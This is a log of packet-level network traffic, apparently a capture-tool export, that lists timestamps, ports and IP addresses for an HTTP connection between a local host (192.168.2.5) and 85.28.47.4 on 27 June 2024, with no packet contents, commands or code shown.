Jun 27, 2024 07:37:14.773870945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.773880959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773890018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.773893118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773905039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773907900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.773916006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773929119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773933887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.773940086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773952007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773962975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.773963928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773976088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.773982048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.773994923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.774019957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.774719000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774733067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774744034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774755955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774766922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774772882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.774779081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774780989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.774791002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774801970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774813890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.774818897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774831057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774841070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774842024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.774853945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774866104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774871111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.774878025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774889946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774902105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.774931908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.774943113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.775484085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775495052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775542021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.775649071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775655031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775656939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775657892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775662899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775665998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775671959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775684118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775695086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775702000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.775707006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775717974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775722980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.775729895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775734901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.775742054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.775763988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.775794983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.856277943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.856590033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.856601000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.856653929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.856656075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.856656075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.856666088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.856678009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.856683016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.856689930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.856717110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.856717110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.856774092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.856961966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.856972933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.856997013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857008934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857019901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857032061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857043982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857057095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857057095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.857057095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.857067108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857079029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.857105970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.857122898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.857534885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857548952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857559919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857569933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857582092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857598066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857609987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857620001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857620955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.857631922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857635021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.857642889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857655048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857665062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857676029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857686996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.857690096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.857690096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.857722044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.857774019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.858244896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858258009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858268023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858280897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858294010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858347893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.858347893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.858546019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858556986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858566999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858578920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858592033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858601093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858612061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858623981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.858663082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.858663082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858663082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.858675957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858685970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858697891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858710051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858721972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858735085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858742952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.858742952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.858746052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858757019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.858757019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858776093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.858803034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.858803034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.858830929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.859611988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859625101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859636068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859647989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859658003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859674931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859678984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.859679937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859683990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859689951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859694004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859694958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859695911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859697104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.859703064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859713078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859724998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859735012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859745979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.859755993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.859755993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.859771013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.859792948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.860554934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860565901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860575914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860586882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860596895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860606909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860615969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.860616922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860627890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860636950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860650063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860660076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860671043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860680103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860691071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860694885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.860694885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.860694885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.860702991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860712051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.860759020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.860759020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.860759020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.861474037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861485004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861495972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861507893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861519098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861530066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861541986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861548901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.861548901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.861552954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861562014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861572027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.861572981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861583948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861594915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861601114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.861601114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.861604929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861615896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861627102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.861660004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.861660004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.862354994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862366915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862375975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862385988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862396955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862410069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862421036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862431049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862437963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.862437963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862437963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.862449884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862462044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862467051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.862472057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862481117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.862485886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.862485886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.862534046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.943223953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943332911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943350077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943361998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943373919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943407059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.943407059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.943407059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.943454027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.943500042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943512917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943523884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943535089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943552017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943563938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.943574905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.943605900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.943711996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943809032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.943810940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943823099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943834066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943844080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.943880081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.943880081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.943911076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.944040060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944051981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944061995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944073915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944103003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.944117069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.944205046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944216013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944227934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944238901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944251060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944262981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944269896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.944269896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.944273949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944295883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.944325924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.944523096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944535017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944580078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.944605112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944610119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944614887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944618940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944623947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944629908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944639921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.944677114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.944936991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944947958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944960117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.944998026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.945010900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.945091963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945103884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945115089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945126057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945146084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945158005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945169926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945175886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.945175886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.945175886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.945182085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945194006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945205927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945210934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.945213079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945266962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.945266962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.945842028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945853949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945866108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945877075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945888042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945899010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945905924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.945905924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.945910931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945921898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945925951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.945935965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945946932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.945970058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.946012974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.946201086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946212053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946223021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946233988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946329117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.946329117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.946341991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946353912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946365118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946376085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946387053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946398973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.946399927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.946399927 CEST	49705	80	192.168.2.5	85.28.47.4
